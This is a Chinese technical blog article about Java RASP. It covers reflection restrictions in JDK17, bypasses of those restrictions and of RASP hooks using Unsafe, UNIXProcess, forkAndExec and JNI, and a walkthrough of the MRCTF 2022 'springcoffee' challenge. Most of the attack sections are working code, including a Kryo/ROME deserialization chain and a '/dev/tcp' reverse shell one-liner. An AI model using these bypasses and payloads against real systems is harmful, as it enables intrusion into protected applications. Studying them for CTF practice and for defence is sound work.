从一道题初接触RASP
字数 1411 2025-08-05 12:50:40
RASP技术深入解析与绕过方法
前言
本文将从JDK反射限制开始,深入探讨RASP(Runtime Application Self-Protection)技术原理及其绕过方法,并结合实际CTF题目进行分析。
JDK反射限制与绕过
JDK17反射限制
从JDK9到JDK16,反射访问Java.*包下的非公共字段和方法会收到警告,但在JDK17后采用强封装,默认禁止此类反射操作,会抛出InaccessibleObjectException异常。
反射绕过方法
1. JDK11之前的Unsafe绕过
Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUafeField.get(null);
Class<?> c2 = unsafe.defineClass("attack", decode, 0, decode.length, classLoader, null);
c2.newInstance();
2. JDK11的defineAnonymousClass绕过
Class<?> c2 = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), decode, null);
c2.newInstance();
3. JDK17的Unsafe Module绕过
Class<?> unSafe = Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Module baseModule = Object.class.getModule();
Class<?> currentClass = Test.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, baseModule); // 更改当前运行类的Module
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> calc = (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", decode, 0, decode.length);
calc.newInstance();
RASP技术原理
RASP(Runtime Application Self-Protection)是一种应用程序自我保护技术,通过将防护功能注入到应用程序中,通过少量Hook函数监测程序运行,根据上下文实时阻断攻击。
Java RASP主要通过Instrumentation编写Agent实现,在Agent的premain和agentmain方法中加入检测类(通常继承ClassFileTransformer),监控敏感类如ProcessImpl等。
Instrumentation API核心
ClassFileTransformer: 允许在类加载前或重新定义时转换字节码Instrumentation: 提供启动时代理和重新定义类的能力
Agent启动方式
- premain: JVM启动时,在被代理应用加载前运行
- agentmain: JVM已启动后动态加载Agent
典型RASP实现示例
public class RaspTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static String targetClassName = "java.lang.ProcessImpl";
private static String targetMethodName = "start";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className.replace("/", ".").equals(targetClassName)) {
// 字节码转换逻辑
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
ctMethod.insertBefore("return null;"); // 插入防护代码
return ctClass.toBytecode();
}
return classfileBuffer;
}
public void retransform() {
Class<?>[] loadedClasses = this.inst.getAllLoadedClasses();
for (Class<?> clazz : loadedClasses) {
if (clazz.getName().equals(targetClassName)) {
this.inst.retransformClasses(new Class[]{clazz});
}
}
}
}
RASP绕过技术
1. UNIXProcess绕过
当RASP拦截ProcessImpl.start()时,可使用UNIXProcess绕过:
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] command = {"/bin/sh", "-c", cmd};
byte[] prog = toCString(command[0]);
byte[] argBlock = getArgBlock(command);
int[] fds = {-1, -1, -1};
Object obj = constructor.newInstance(prog, argBlock, argBlock.length, null, 0, null, fds, false);
Method method = cls.getDeclaredMethod("getInputStream");
InputStream is = (InputStream) method.invoke(obj);
2. Unsafe+forkAndExec绕过
直接调用底层forkAndExec方法:
Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class,
byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
int pid = (int) forkMethod.invoke(processObject, ordinal+1, helperpathObject, toCString(cmd[0]),
argBlock, args.length, null, envc[0], null, std_fds, false);
3. JNI绕过
通过JNI加载本地库执行命令:
- 创建Java类:
public class Command {
public native String exec(String cmd);
}
- 生成C头文件:
javac -h . Command.java
- 实现C函数:
JNIEXPORT jstring JNICALL Java_Command_exec(JNIEnv *env, jobject obj, jstring jstr) {
const char *cmd = (*env)->GetStringUTFChars(env, jstr, NULL);
FILE *pipe = popen(cmd, "r");
// 读取命令输出并返回
}
- 编译为动态库并加载:
System.loadLibrary("command");
new Command().exec("calc");
CTF实战分析:[MRCTF 2022] springcoffee
题目分析
- 启动方式:
java -javaagent:jrasp.jar,存在RASP防护 - 关键路由:
/coffer/order: 接收Base64编码的Kryo反序列化数据/coffee/demo: 可配置Kryo反序列化策略
利用链构造
- 首先通过
/coffee/demo设置Kryo配置:
{
"polish": "true",
"RegistrationRequired": "false",
"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"
}
- 构造Kryo反序列化链(以ROME链为例):
TemplatesImpl templates = new TemplatesImpl();
// 设置恶意字节码
EqualsBean equalsBean = new EqualsBean(String.class, "111");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "aaa");
// 设置链式调用
setFieldValue(equalsBean, "_beanClass", ToStringBean.class);
setFieldValue(equalsBean, "_obj", new ToStringBean(Templates.class, templates));
// 序列化并Base64编码
Kryo kryo = new Kryo();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Output output = new Output(outputStream);
kryo.writeClassAndObject(output, hashMap);
String base64Payload = Base64.getEncoder().encodeToString(outputStream.toByteArray());
- 通过UNIXProcess绕过RASP执行命令:
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] command = {"/bin/sh", "-c", "bash -i >& /dev/tcp/your_ip/port 0>&1"};
// ... 构造UNIXProcess参数并实例化
总结
-
JDK反射绕过:
- JDK17可通过Unsafe修改Module绕过反射限制
- 利用sun.misc包的特殊权限
-
RASP绕过核心思路:
- 寻找更底层的方法调用(如UNIXProcess代替ProcessImpl)
- 直接调用native方法(forkAndExec)
- 使用JNI完全绕过Java层监控
-
防御建议:
- RASP应监控所有命令执行相关类和方法
- 结合行为分析而不仅是静态规则
- 对JNI调用进行严格管控
-
CTF技巧:
- 分析题目附件确定防护方式
- 利用题目提供的配置接口修改运行时行为
- 组合多种绕过技术应对复杂防护